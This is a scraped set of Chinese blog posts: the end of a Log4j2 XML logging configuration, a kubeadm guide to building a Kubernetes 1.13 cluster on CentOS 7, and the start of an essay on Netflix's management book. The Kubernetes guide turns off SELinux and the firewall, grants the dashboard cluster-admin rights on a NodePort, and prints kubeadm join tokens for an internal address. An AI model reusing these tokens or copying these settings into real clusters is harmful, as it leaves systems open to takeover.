\u0026lt;property name=\u0026#34;output_log_level\u0026#34;\u0026gt;DEBUG\u0026lt;/property\u0026gt; 117 118 \u0026lt;!-- ===========================================所有级别日志配置=========================================== --\u0026gt; 119 \u0026lt;!-- 日志默认存放路径(所有级别日志) --\u0026gt; 120 \u0026lt;property name=\u0026#34;rolling_fileName\u0026#34;\u0026gt;${basePath}/all.log\u0026lt;/property\u0026gt; 121 \u0026lt;!-- 日志默认压缩路径,将超过指定文件大小的日志,自动存入按\u0026#34;年月\u0026#34;建立的文件夹下面并进行压缩,作为存档 --\u0026gt; 122 \u0026lt;property name=\u0026#34;rolling_filePattern\u0026#34;\u0026gt;${basePath}/%d{yyyy-MM}/all-%d{yyyy-MM-dd-HH}-%i.log.gz\u0026lt;/property\u0026gt; 123 \u0026lt;!-- 日志默认同类型日志,同一文件夹下可以存放的数量,不设置此属性则默认为7个,filePattern最后要带%i才会生效 --\u0026gt; 124 \u0026lt;property name=\u0026#34;rolling_max\u0026#34;\u0026gt;500\u0026lt;/property\u0026gt; 125 \u0026lt;!-- 日志默认同类型日志,多久生成一个新的日志文件,这个配置需要和filePattern结合使用; 126 如果设置为1,filePattern是%d{yyyy-MM-dd}到天的格式,则间隔一天生成一个文件 127 如果设置为12,filePattern是%d{yyyy-MM-dd-HH}到小时的格式,则间隔12小时生成一个文件 --\u0026gt; 128 \u0026lt;property name=\u0026#34;rolling_timeInterval\u0026#34;\u0026gt;12\u0026lt;/property\u0026gt; 129 \u0026lt;!-- 日志默认同类型日志,是否对封存时间进行调制,若为true,则封存时间将以0点为边界进行调整, 130 如:现在是早上3am,interval是4,那么第一次滚动是在4am,接着是8am,12am...而不是7am --\u0026gt; 131 \u0026lt;property name=\u0026#34;rolling_timeModulate\u0026#34;\u0026gt;true\u0026lt;/property\u0026gt; 132 133 \u0026lt;!-- ============================================Info级别日志============================================ --\u0026gt; 134 \u0026lt;!-- Info日志默认存放路径(Info级别日志) --\u0026gt; 135 \u0026lt;property name=\u0026#34;info_fileName\u0026#34;\u0026gt;${basePath}/info.log\u0026lt;/property\u0026gt; 136 \u0026lt;!-- Info日志默认压缩路径,将超过指定文件大小的日志,自动存入按\u0026#34;年月\u0026#34;建立的文件夹下面并进行压缩,作为存档 --\u0026gt; 137 \u0026lt;property name=\u0026#34;info_filePattern\u0026#34;\u0026gt;${basePath}/%d{yyyy-MM}/info-%d{yyyy-MM-dd}-%i.log.gz\u0026lt;/property\u0026gt; 138 \u0026lt;!-- Info日志默认同一文件夹下可以存放的数量,不设置此属性则默认为7个 --\u0026gt; 139 \u0026lt;property name=\u0026#34;info_max\u0026#34;\u0026gt;100\u0026lt;/property\u0026gt; 140 \u0026lt;!-- 日志默认同类型日志,多久生成一个新的日志文件,这个配置需要和filePattern结合使用; 141 如果设置为1,filePattern是%d{yyyy-MM-dd}到天的格式,则间隔一天生成一个文件 142 如果设置为12,filePattern是%d{yyyy-MM-dd-HH}到小时的格式,则间隔12小时生成一个文件 --\u0026gt; 143 \u0026lt;property name=\u0026#34;info_timeInterval\u0026#34;\u0026gt;1\u0026lt;/property\u0026gt; 144 \u0026lt;!-- 日志默认同类型日志,是否对封存时间进行调制,若为true,则封存时间将以0点为边界进行调整, 145 如:现在是早上3am,interval是4,那么第一次滚动是在4am,接着是8am,12am...而不是7am --\u0026gt; 146 \u0026lt;property name=\u0026#34;info_timeModulate\u0026#34;\u0026gt;true\u0026lt;/property\u0026gt; 147 148 \u0026lt;!-- ============================================Warn级别日志============================================ --\u0026gt; 149 \u0026lt;!-- Warn日志默认存放路径(Warn级别日志) --\u0026gt; 150 \u0026lt;property name=\u0026#34;warn_fileName\u0026#34;\u0026gt;${basePath}/warn.log\u0026lt;/property\u0026gt; 151 \u0026lt;!-- Warn日志默认压缩路径,将超过指定文件大小的日志,自动存入按\u0026#34;年月\u0026#34;建立的文件夹下面并进行压缩,作为存档 --\u0026gt; 152 \u0026lt;property name=\u0026#34;warn_filePattern\u0026#34;\u0026gt;${basePath}/%d{yyyy-MM}/warn-%d{yyyy-MM-dd}-%i.log.gz\u0026lt;/property\u0026gt; 153 \u0026lt;!-- Warn日志默认同一文件夹下可以存放的数量,不设置此属性则默认为7个 --\u0026gt; 154 \u0026lt;property name=\u0026#34;warn_max\u0026#34;\u0026gt;100\u0026lt;/property\u0026gt; 155 \u0026lt;!-- 日志默认同类型日志,多久生成一个新的日志文件,这个配置需要和filePattern结合使用; 156 如果设置为1,filePattern是%d{yyyy-MM-dd}到天的格式,则间隔一天生成一个文件 157 如果设置为12,filePattern是%d{yyyy-MM-dd-HH}到小时的格式,则间隔12小时生成一个文件 --\u0026gt; 158 \u0026lt;property name=\u0026#34;warn_timeInterval\u0026#34;\u0026gt;1\u0026lt;/property\u0026gt; 159 \u0026lt;!-- 日志默认同类型日志,是否对封存时间进行调制,若为true,则封存时间将以0点为边界进行调整, 160 如:现在是早上3am,interval是4,那么第一次滚动是在4am,接着是8am,12am...而不是7am --\u0026gt; 161 \u0026lt;property name=\u0026#34;warn_timeModulate\u0026#34;\u0026gt;true\u0026lt;/property\u0026gt; 162 163 \u0026lt;!-- ============================================Error级别日志============================================ --\u0026gt; 164 \u0026lt;!-- Error日志默认存放路径(Error级别日志) --\u0026gt; 165 \u0026lt;property name=\u0026#34;error_fileName\u0026#34;\u0026gt;${basePath}/error.log\u0026lt;/property\u0026gt; 166 \u0026lt;!-- Error日志默认压缩路径,将超过指定文件大小的日志,自动存入按\u0026#34;年月\u0026#34;建立的文件夹下面并进行压缩,作为存档 --\u0026gt; 167 \u0026lt;property name=\u0026#34;error_filePattern\u0026#34;\u0026gt;${basePath}/%d{yyyy-MM}/error-%d{yyyy-MM-dd}-%i.log.gz\u0026lt;/property\u0026gt; 168 \u0026lt;!-- Error日志默认同一文件夹下可以存放的数量,不设置此属性则默认为7个 --\u0026gt; 169 \u0026lt;property name=\u0026#34;error_max\u0026#34;\u0026gt;100\u0026lt;/property\u0026gt; 170 \u0026lt;!-- 日志默认同类型日志,多久生成一个新的日志文件,这个配置需要和filePattern结合使用; 171 如果设置为1,filePattern是%d{yyyy-MM-dd}到天的格式,则间隔一天生成一个文件 172 如果设置为12,filePattern是%d{yyyy-MM-dd-HH}到小时的格式,则间隔12小时生成一个文件 --\u0026gt; 173 \u0026lt;property name=\u0026#34;error_timeInterval\u0026#34;\u0026gt;1\u0026lt;/property\u0026gt; 174 \u0026lt;!-- 日志默认同类型日志,是否对封存时间进行调制,若为true,则封存时间将以0点为边界进行调整, 175 如:现在是早上3am,interval是4,那么第一次滚动是在4am,接着是8am,12am...而不是7am --\u0026gt; 176 \u0026lt;property name=\u0026#34;error_timeModulate\u0026#34;\u0026gt;true\u0026lt;/property\u0026gt; 177 178 \u0026lt;!-- ============================================控制台显示控制============================================ --\u0026gt; 179 \u0026lt;!-- 控制台显示的日志最低级别 --\u0026gt; 180 \u0026lt;property name=\u0026#34;console_print_level\u0026#34;\u0026gt;DEBUG\u0026lt;/property\u0026gt; 181 182 \u0026lt;/Properties\u0026gt; 183 184 \u0026lt;!--定义appender --\u0026gt; 185 \u0026lt;appenders\u0026gt; 186 \u0026lt;!-- =======================================用来定义输出到控制台的配置======================================= --\u0026gt; 187 \u0026lt;Console name=\u0026#34;Console\u0026#34; target=\u0026#34;SYSTEM_OUT\u0026#34;\u0026gt; 188 \u0026lt;!-- 设置控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch)--\u0026gt; 189 \u0026lt;ThresholdFilter level=\u0026#34;${console_print_level}\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 190 \u0026lt;!-- 设置输出格式,不设置默认为:%m%n --\u0026gt; 191 \u0026lt;PatternLayout pattern=\u0026#34;${console_log_pattern}\u0026#34;/\u0026gt; 192 \u0026lt;/Console\u0026gt; 193 194 \u0026lt;!-- ================================打印root中指定的level级别以上的日志到文件================================ --\u0026gt; 195 \u0026lt;RollingFile name=\u0026#34;RollingFile\u0026#34; fileName=\u0026#34;${rolling_fileName}\u0026#34; filePattern=\u0026#34;${rolling_filePattern}\u0026#34;\u0026gt; 196 \u0026lt;PatternLayout pattern=\u0026#34;${log_pattern}\u0026#34;/\u0026gt; 197 \u0026lt;Policies\u0026gt; 198 \u0026lt;TimeBasedTriggeringPolicy interval=\u0026#34;${rolling_timeInterval}\u0026#34; modulate=\u0026#34;${warn_timeModulate}\u0026#34;/\u0026gt; 199 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;${every_file_size}\u0026#34;/\u0026gt; 200 \u0026lt;/Policies\u0026gt; 201 \u0026lt;!-- 设置同类型日志,同一文件夹下可以存放的数量,如果不设置此属性则默认存放7个文件 --\u0026gt; 202 \u0026lt;DefaultRolloverStrategy max=\u0026#34;${rolling_max}\u0026#34; /\u0026gt; 203 \u0026lt;/RollingFile\u0026gt; 204 205 \u0026lt;!-- =======================================打印INFO级别的日志到文件======================================= --\u0026gt; 206 \u0026lt;RollingFile name=\u0026#34;InfoFile\u0026#34; fileName=\u0026#34;${info_fileName}\u0026#34; filePattern=\u0026#34;${info_filePattern}\u0026#34;\u0026gt; 207 \u0026lt;PatternLayout pattern=\u0026#34;${log_pattern}\u0026#34;/\u0026gt; 208 \u0026lt;Policies\u0026gt; 209 \u0026lt;TimeBasedTriggeringPolicy interval=\u0026#34;${info_timeInterval}\u0026#34; modulate=\u0026#34;${info_timeModulate}\u0026#34;/\u0026gt; 210 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;${every_file_size}\u0026#34;/\u0026gt; 211 \u0026lt;/Policies\u0026gt; 212 \u0026lt;DefaultRolloverStrategy max=\u0026#34;${info_max}\u0026#34; /\u0026gt; 213 \u0026lt;Filters\u0026gt; 214 \u0026lt;ThresholdFilter level=\u0026#34;WARN\u0026#34; onMatch=\u0026#34;DENY\u0026#34; onMismatch=\u0026#34;NEUTRAL\u0026#34;/\u0026gt; 215 \u0026lt;ThresholdFilter level=\u0026#34;INFO\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 216 \u0026lt;/Filters\u0026gt; 217 \u0026lt;/RollingFile\u0026gt; 218 219 \u0026lt;!-- =======================================打印WARN级别的日志到文件======================================= --\u0026gt; 220 \u0026lt;RollingFile name=\u0026#34;WarnFile\u0026#34; fileName=\u0026#34;${warn_fileName}\u0026#34; filePattern=\u0026#34;${warn_filePattern}\u0026#34;\u0026gt; 221 \u0026lt;PatternLayout pattern=\u0026#34;${log_pattern}\u0026#34;/\u0026gt; 222 \u0026lt;Policies\u0026gt; 223 \u0026lt;TimeBasedTriggeringPolicy interval=\u0026#34;${warn_timeInterval}\u0026#34; modulate=\u0026#34;${warn_timeModulate}\u0026#34;/\u0026gt; 224 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;${every_file_size}\u0026#34;/\u0026gt; 225 \u0026lt;/Policies\u0026gt; 226 \u0026lt;DefaultRolloverStrategy max=\u0026#34;${warn_max}\u0026#34; /\u0026gt; 227 \u0026lt;Filters\u0026gt; 228 \u0026lt;ThresholdFilter level=\u0026#34;ERROR\u0026#34; onMatch=\u0026#34;DENY\u0026#34; onMismatch=\u0026#34;NEUTRAL\u0026#34;/\u0026gt; 229 \u0026lt;ThresholdFilter level=\u0026#34;WARN\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 230 \u0026lt;/Filters\u0026gt; 231 \u0026lt;/RollingFile\u0026gt; 232 233 \u0026lt;!-- =======================================打印ERROR级别的日志到文件======================================= --\u0026gt; 234 \u0026lt;RollingFile name=\u0026#34;ErrorFile\u0026#34; fileName=\u0026#34;${error_fileName}\u0026#34; filePattern=\u0026#34;${error_filePattern}\u0026#34;\u0026gt; 235 \u0026lt;PatternLayout pattern=\u0026#34;${log_pattern}\u0026#34;/\u0026gt; 236 \u0026lt;Policies\u0026gt; 237 \u0026lt;TimeBasedTriggeringPolicy interval=\u0026#34;${error_timeInterval}\u0026#34; modulate=\u0026#34;${error_timeModulate}\u0026#34;/\u0026gt; 238 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;${every_file_size}\u0026#34;/\u0026gt; 239 \u0026lt;/Policies\u0026gt; 240 \u0026lt;DefaultRolloverStrategy max=\u0026#34;${error_max}\u0026#34; /\u0026gt; 241 \u0026lt;Filters\u0026gt; 242 \u0026lt;ThresholdFilter level=\u0026#34;FATAL\u0026#34; onMatch=\u0026#34;DENY\u0026#34; onMismatch=\u0026#34;NEUTRAL\u0026#34;/\u0026gt; 243 \u0026lt;ThresholdFilter level=\u0026#34;ERROR\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 244 \u0026lt;/Filters\u0026gt; 245 \u0026lt;/RollingFile\u0026gt; 246 \u0026lt;/appenders\u0026gt; 247 248 \u0026lt;!--定义logger,只有定义了logger并引入的appender,appender才会生效--\u0026gt; 249 \u0026lt;loggers\u0026gt; 250 \u0026lt;!-- 设置打印sql语句配置开始,以下两者配合使用,可以优化日志的输出信息,减少一些不必要信息的输出 --\u0026gt; 251 \u0026lt;!-- 设置java.sql包下的日志只打印DEBUG及以上级别的日志,此设置可以支持sql语句的日志打印 --\u0026gt; 252 \u0026lt;logger name=\u0026#34;java.sql\u0026#34; level=\u0026#34;DEBUG\u0026#34; additivity=\u0026#34;false\u0026#34;\u0026gt; 253 \u0026lt;appender-ref ref=\u0026#34;Console\u0026#34;/\u0026gt; 254 \u0026lt;/logger\u0026gt; 255 \u0026lt;!-- 设置org.mybatis.spring包下的日志只打印WARN及以上级别的日志 --\u0026gt; 256 \u0026lt;logger name=\u0026#34;org.mybatis.spring\u0026#34; level=\u0026#34;WARN\u0026#34; additivity=\u0026#34;false\u0026#34;\u0026gt; 257 \u0026lt;appender-ref ref=\u0026#34;Console\u0026#34;/\u0026gt; 258 \u0026lt;/logger\u0026gt; 259 \u0026lt;!-- 设置org.springframework包下的日志只打印WARN及以上级别的日志 --\u0026gt; 260 \u0026lt;logger name=\u0026#34;org.springframework\u0026#34; level=\u0026#34;WARN\u0026#34; additivity=\u0026#34;false\u0026#34;\u0026gt; 261 \u0026lt;appender-ref ref=\u0026#34;Console\u0026#34;/\u0026gt; 262 \u0026lt;/logger\u0026gt; 263 \u0026lt;!-- 设置com.qfx.workflow.service包下的日志只打印WARN及以上级别的日志 --\u0026gt; 264 \u0026lt;logger name=\u0026#34;com.qfx.workflow.service\u0026#34; level=\u0026#34;WARN\u0026#34; additivity=\u0026#34;false\u0026#34;\u0026gt; 265 \u0026lt;appender-ref ref=\u0026#34;Console\u0026#34;/\u0026gt; 266 \u0026lt;/logger\u0026gt; 267 \u0026lt;!-- 设置打印sql语句配置结束 --\u0026gt; 268 269 \u0026lt;!--建立一个默认的root的logger--\u0026gt; 270 \u0026lt;root level=\u0026#34;${output_log_level}\u0026#34;\u0026gt; 271 \u0026lt;appender-ref ref=\u0026#34;RollingFile\u0026#34;/\u0026gt; 272 \u0026lt;appender-ref ref=\u0026#34;Console\u0026#34;/\u0026gt; 273 \u0026lt;appender-ref ref=\u0026#34;InfoFile\u0026#34;/\u0026gt; 274 \u0026lt;appender-ref ref=\u0026#34;WarnFile\u0026#34;/\u0026gt; 275 \u0026lt;appender-ref ref=\u0026#34;ErrorFile\u0026#34;/\u0026gt; 276 \u0026lt;/root\u0026gt; 277 \u0026lt;/loggers\u0026gt; 278 279\u0026lt;/configuration\u0026gt; 参考：\nhttps://www.baeldung.com/log4j-2-lazy-logging https://logging.apache.org/log4j/2.x/ https://www.iocoder.cn/Spring-Boot/Logging/?self https://bryantchang.github.io/2018/11/18/log4j-async/ https://www.cnblogs.com/yeyang/p/7944906.html https://my.oschina.net/u/1584802/blog/4644029 关注公众号 获取更多精彩内容\n","date":"2021-04-08T11:21:37Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-04-08-hai-mei-yong-log4j2-kuai-lai-shi-shi/cover.jpg","permalink":"/p/2021-04-08-hai-mei-yong-log4j2-kuai-lai-shi-shi/","title":"还没用Log4j2 ？快来试试"},{"content":"环境 centos 7.6 k8s 1.13.4 3台机器 1台master 2台worker 准备工作 关闭swap 执行swapoff临时关闭swap。重启后会失效，若要永久关闭，可以编辑/etc/fstab文件，将其中swap分区一行注释掉\n至于为什么关闭这里有个说明：https://github.com/kubernetes/kubernetes/issues/53533，亦有说影响性能的 https://www.zhihu.com/question/374752553\n关闭防火墙和selinux 根据文档来的:https://kubernetes.io/zh/docs/setup/production-environment/tools/kubeadm/install-kubeadm/\n1# 将 SELinux 设置为 permissive 模式（相当于将其禁用） 2setenforce 0 3sed -i \u0026#39;s/^SELINUX=enforcing$/SELINUX=permissive/\u0026#39; /etc/selinux/config 开放端口 允许 iptables 检查桥接流量 1cat \u0026lt;\u0026lt;EOF | sudo tee /etc/modules-load.d/k8s.conf 2br_netfilter 3EOF 4 5cat \u0026lt;\u0026lt;EOF | sudo tee /etc/sysctl.d/k8s.conf 6net.bridge.bridge-nf-call-ip6tables = 1 7net.bridge.bridge-nf-call-iptables = 1 8EOF 9sudo sysctl --system 安装docker（全部节点） 安装 1#安装需要的工具 2yum install -y yum-utils device-mapper-persistent-data lvm2 3#设置源 4yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 5#查看有哪些docker版本 6yum list docker-ce --showduplicates | sort -r 7#安装特定的版本 8yum makecache fast \u0026amp;\u0026amp; yum install -y docker-ce-18.09.8-3.el7 docker-ce-cli-18.09.8-3.el7 containerd.io-1.2.0-3.el7 9#启动docker 10systemctl daemon-reload \u0026amp;\u0026amp; systemctl restart docker 11#设置为开机启动 12systemctl enable docker.service 修改Docker默认存储位置 1systemctl stop docker 或者 service docker stop 2 3#然后移动整个/var/lib/docker目录到目的路径： 4mv /var/lib/docker /home/data/docker 5ln -s /home/data/docker /var/lib/docker 6#reload配置文件 7systemctl daemon-reload 8#重启docker 9systemctl restart docker.service 10#设置docker 开机启动 11systemctl enable docker 12 13//当然你也可以通过修改配置文件的方式 14vim /etc/docker/daemon.json 15 16{\u0026#34;registry-mirrors\u0026#34;: [\u0026#34;http://7e61f7f9.m.daocloud.io\u0026#34;],\u0026#34;graph\u0026#34;: \u0026#34;/new-path/docker\u0026#34;} 阿里云镜像加速 1#访问：https://cr.console.aliyun.com/cn-beijing/instances/mirrors 2#找到加速方法，如： 3 4sudo mkdir -p /etc/docker 5sudo tee /etc/docker/daemon.json \u0026lt;\u0026lt;-\u0026#39;EOF\u0026#39; 6{ 7 \u0026#34;registry-mirrors\u0026#34;: [\u0026#34;https://se35r65b.mirror.aliyuncs.com\u0026#34;] 8} 9EOF 10sudo systemctl daemon-reload 11sudo systemctl restart docker 安装kubeadm, kubelet和kubectl(master和worker都装) 添加 yum 仓库 创建/etc/yum.repos.d/kubernetes.repo，文件如下内容 1[kubernetes] 2name=Kubernetes 3baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64/ 4enabled=1 5gpgcheck=1 6repo_gpgcheck=1 7gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg 安装 kubelet kubectl 和 kubeadm 1yum install -y kubelet-1.13.4 kubeadm-1.13.4 kubectl-1.13.4 kubernetes-cni-0.6.0 2systemctl enable --now kubelet 从阿里云手动摘取镜像 执行kubeadm config images pull查 看到 gcr.io 的连接，如果拉取成功可以进入下一步。如果失败，说明无法访问 grc.io。这时需要手动拉取镜像，可以执行下面的脚本，从阿里云拉取相应镜像\n1#!/bin/bash 2images=( 3 kube-apiserver:v1.13.4 4 kube-controller-manager:v1.13.4 5 kube-scheduler:v1.13.4 6 kube-proxy:v1.13.4 7 pause:3.1 8 etcd:3.2.24 9 coredns:1.2.6 10) 11for imageName in ${images[@]} ; do 12 docker pull registry.cn-hangzhou.aliyuncs.com/google_containers/$imageName 13 docker tag registry.cn-hangzhou.aliyuncs.com/google_containers/$imageName k8s.gcr.io/$imageName 14done 初始化（master） 记得加入 pod-network-cidr 因为后面的网络组件用的是flannel 1kubeadm init --pod-network-cidr=10.244.0.0/16 --image-repository registry.aliyuncs.com/google_containers 安装成功提示 1Your Kubernetes master has initialized successfully! 2To start using your cluster, you need to run the following as a regular user: 3 mkdir -p $HOME/.kube 4 sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config 5 sudo chown $(id -u):$(id -g) $HOME/.kube/config 6You should now deploy a pod network to the cluster. 7Run \u0026#34;kubectl apply -f [podnetwork].yaml\u0026#34; with one of the options listed at: 8 https://kubernetes.io/docs/concepts/cluster-administration/addons/ 9You can now join any number of machines by running the following on each node 10as root: 11 kubeadm join 10.22.9.162:6443 --token e225cp.14g848dy4vpoas75 --discovery-token-ca-cert-hash sha256:aaf9910fb2b94e8c2bc2aea0b2a08538796d8322331561ef1094bebe8a7a790f 第一次使用 Kubernetes 集群所需要的配置命令 1mkdir -p $HOME/.kube 2sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config 3sudo chown $(id -u):$(id -g) $HOME/.kube/config 这些配置命令的原因是：Kubernetes 集群默认需要加密方式访问。所以，这几条命令，就是将刚刚部署生成的 Kubernetes 集群的安全配置文件，保存到当前用户的.kube 目录下，kubectl 默认会使用这个目录下的授权信息访问 Kubernetes 集群。如果不这么做的话，我们每次都需要通过 export KUBECONFIG 环境变量告诉 kubectl 这个安全配置文件的位置。\nmaster节点生成其他节点加入的方式 1kubeadm token create --print-join-command 部署 flannel 网络组件 1kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/a70459be0084506e4ec919aa1c114638878db11b/Documentation/kube-flannel.yml 查看状态 1# 用 kubectl get 命令来查看当前唯一一个节点的状态了 2kubectl get nodes 3# 用 kubectl describe 来查看这个节点（Node）对象的详细信息、状态和事件（Event） 4kubectl describe node master 5# 通过 kubectl get 重新检查 Pod 的状态： 6kubectl get pods -n kube-system 7# 部署过程中任何环节有问题都可以查看日志 8journalctl -l -u kubelet master 节点配置 删除master节点默认污点 taint：污点的意思。如果一个节点被打上了污点，那么pod是不允许运行在这个节点上面的 默认情况下集群不会在master上调度pod，如果偏想在master上调度Pod，可以执行如下操作： 1#查看污点 2kubectl describe node master|grep -i taints 3#删除污点 4kubectl taint nodes master node-role.kubernetes.io/master- 加入集群（worker） 利用之前master 初始化的信息加入集群\n1kubeadm join 10.22.9.162:6443 --token 43t2na.80oiehldy76rw6lz --discovery-token-ca-cert-hash sha256:67fd28cb6fd03242eda63c7a395096aba1a6784f7234a9b6269ff0941e9070e3 加入成功后在master查看集群状态\n1kubectl get nodes 安装Dashboard UI（master） 获得配置文件 1wget https://raw.githubusercontent.com/kubernetes/dashboard/v1.10.1/src/deploy/recommended/kubernetes-dashboard.yaml 手动获取镜像 1docker pull anjia0532/google-containers.kubernetes-dashboard-amd64:v1.10.0 2docker tag anjia0532/google-containers.kubernetes-dashboard-amd64:v1.10.0 k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.0 3docker rmi anjia0532/google-containers.kubernetes-dashboard-amd64:v1.10.0 修改配置文件（ports部分） 1# ------------------- Dashboard Service ------------------- # 2kind: Service 3apiVersion: v1 4metadata: 5 labels: 6 k8s-app: kubernetes-dashboard 7 name: kubernetes-dashboard 8 namespace: kube-system 9spec: 10 type: NodePort 11 ports: 12 - port: 443 13 targetPort: 8443 14 nodePort: 30001 15 selector: 16 k8s-app: kubernetes-dashboard 运行并查看状态 1kubectl apply -f kubernetes-dashboard.yaml 2#通过以下命令查看 pod 状态 3kubectl get pods -n kubernetes-dashboard 4kubectl get pods,svc -n kubernetes-dashboard 登录 1##创建管理员 2kubectl create serviceaccount dashboard-admin -n kube-system 3kubectl create clusterrolebinding dashboard-admin --clusterrole=cluster-admin --serviceaccount=kube-system:dashboard-admin 4##获取token 5kubectl describe secrets -n kube-system $(kubectl -n kube-system get secret | grep dashboard-admin | awk \u0026#39;{print $1}\u0026#39;) 完全清除或卸载K8s This a gist for quick uninstall kubernetes If the cluster is node, First delete it from master\n1kubectl drain \u0026lt;node name\u0026gt; — delete-local-data — force — ignore-daemonsets 2kubectl delete node \u0026lt;node name\u0026gt; Then remove kubeadm completely\n1kubeadm reset 2# on debian base 3sudo apt-get purge kubeadm kubectl kubelet kubernetes-cni kube* 4#on centos base 5sudo yum remove kubeadm kubectl kubelet kubernetes-cni kube* 6# on debian base 7sudo apt-get autoremove 8#on centos base 9sudo yum autoremove 10 11sudo rm -rf ~/.kube 参考：\nhttps://www.yinxiang.com/everhub/note/f420816c-2019-47a1-8dcd-7b3ade25ac1f\nhttps://blog.51cto.com/3241766/2405624\nhttps://juejin.cn/post/6844904161759199240#heading-25\n关注公众号 获取更多精彩内容\n","date":"2021-03-21T10:56:34Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-03-21-centos7-shi-yong-kubeadm-an-zhuang-k8s-ji-qun/cover.jpg","permalink":"/p/2021-03-21-centos7-shi-yong-kubeadm-an-zhuang-k8s-ji-qun/","title":"centos7 使用kubeadm 安装 k8s集群"},{"content":"\n缘起 最近在读 NetFlix CEO 里德·哈斯廷斯联合欧洲工商管理学院教授艾琳·迈耶写的新书《不拘一格》，结合我最近的管理工作，觉得非常有共鸣，迫切想和大家分享其中一二。\n这本书的副标题是：网飞的自由与责任工作法，见文知义，讲的就是根据网飞在创业过程中的管理经验总结出的工作方法。可谓是从实践中来到实践中去。\n书中重点讲了三个部分\n提升人才密度 加强沟通坦诚 取消管控 我将根据我自己对该书部分章节内容的摘抄结合自身感受做本次分享。\n提高人才密度 “\n工作表现无论好与坏，都是具有感染力的。如果你表现平平，可能会影响到很多本可以表现出色的人，导致他们也无心进取。如果你的团队成员个个表现出色，那他们也会相互激励，从而推动彼此取得更大的成就。\n”\n提高人才密度，这是网飞管理方法的基础，也是第一步。\n招聘成年人 对于这一点，我深有感触，在公司里，我们需要的是优秀的 “成年人”。所谓成年人是不止是身体和岁数，也包括心智和能力都在同步成长的人。有些人虽然岁数不小了，但心智仍然停留在青少年时期。这样的人经常会遇到如下问题：\n对于自身遇到的挫折、压力没有能力控制和解决。\n对事情没有基本的判断，在公司里不知道从哪儿听了几句风言风语就慌乱的不行。我团队中就有小伙伴在抽烟的时候听到些 “风声”，以为要开除他，第二天就跟我提辞职了\u0026hellip;\u0026hellip; 后来经过劝说留下来了（其实根本没有那回事儿）。\n对自我的认知不足，多数自我感觉太过良好（明显没有遭受过社会的毒打）\n以自我为中心，集体观念差，责任感低，价值观不认同。\n如果你团队中招聘的不是 “成年人”，对于管理者，将会付出较大的代价，其中包括：\n微观管理会非常多，人一多会很耗时，影响你做其他重要的事情 这些人的投入产出比会很低，影响团队和整个公司发展 影响团队其他优秀的成员，觉得你是在放纵这种低素质的人进入团队 “\n团队中如果有成员过于狂傲，做事懒散，平庸，或者悲观，整个团队的表现都会受到影响\n”\n俗话说，一颗老鼠屎坏了整锅汤，关于这点是有理论依据的，澳大利亚新南威尔士大学已经做过相关研究：“即使其他团队成员都很有才干，也很聪明，但一个人的不良行为会降低整个团队的效率。在试验中，效率大概降低30%-40% ”\n对于上文中提到的这种人，要尽快解决掉。不然他们将像病毒一样传染整个团队。\n我目前的团队中清理过一个这样的人，自我感觉非常良好，性格狂傲，跟同事沟通有障碍，据说之前还跟其他同事发生过非常激烈的冲突，不尊重领导、进行过人身攻击等等。\n把工作分成操作型和创造型两类 “\n我曾在微软与比尔·盖茨共事，据说他对这个问题有更深刻的理解。他经常引用这样一句名言：“一名优秀车工的工资是一名普通车工的好几倍；而一名优秀程序员写出来的代码比一名普通程序员写出来的要贵上一万倍。”在软件行业，这种说法虽有争议，但也算是一条尽人皆知的原则。\n”\n如清洁工、司机，这种属于操作型，一个人的效率不可能高过三个人，对这类工作的人可以给予稳定的工作和市场平均的薪水。\n如程序员、设计师、作家等，属于创造型，对于这类工作，一个优秀的有才华的人创造的价值，正如盖茨说的很有可能是一个平庸者的一万倍。这类中优秀的人的薪水可能远高于平庸的。\n就比方一个优秀的程序员，自驱能力使他可以在完成繁重工作的同时，兼顾代码质量和可读性，最大限度的降低维护成本，在完成工作之余还能提出优化方案和改进措施，为企业创造了出额外价值。反观一般的程序员，能完成基本工作，但不保证有多少bug,代码可读性差，性能更谈不上，维护成本很高，当他离职的时候，交接他工作的同事将迎来一场噩梦。\n“\n为了提高员工队伍的人才密度，在所有创造型的部门，我们宁愿聘用一名优秀的员工，也不要聘用10名或者更多普通的员工。\n”\n这里建议团队管理者，宁缺毋滥，一个优秀的人，真的强过好几个平庸的人。在招聘上是很难，但管理者在管理职位上不就是要迎难而上解决问题的吗，否则这么容易要管理人员干嘛。想办法解决问题，办法总比问题多！\n人才密度高就一定好吗？ 我们以前经常听到如人才梯队建设、团队人员结构这样的词，大意是不能都招精英，一般会有一些配比，比如精英20%，中间的60%，底层很一般的20%。之所以这样是因为如果都招精英那么就像西天取经团队都是孙悟空一样，谁也不服谁，没法进行团队协作。\n像这样的话我听了很多年，也觉得有道理，而且很多公司也是这么执行的，可读过这本书后，尤其是提到的人才密度高这个事儿，完全跟所谓的人才结构是冲突的，这引起了我的思考。\n现在我想明白了，如果是创造类工作，用更多的精英，人才密度大是有好处的。我有十多年的开发经验，对于程序员的工作内容太熟悉了，也太知道人在这里面的重要性。我理解，所谓“精英”，是能够自驱且能够和更多精英协作的，反之则不配称做“精英”，也不是创造类工作为主的公司需要的人才。\n也就是说如果人才自身没有问题，那么人才密度大对人才和团队本身都是有好处的，人才和人才间会有更棒的化学反应。\n团队与留任 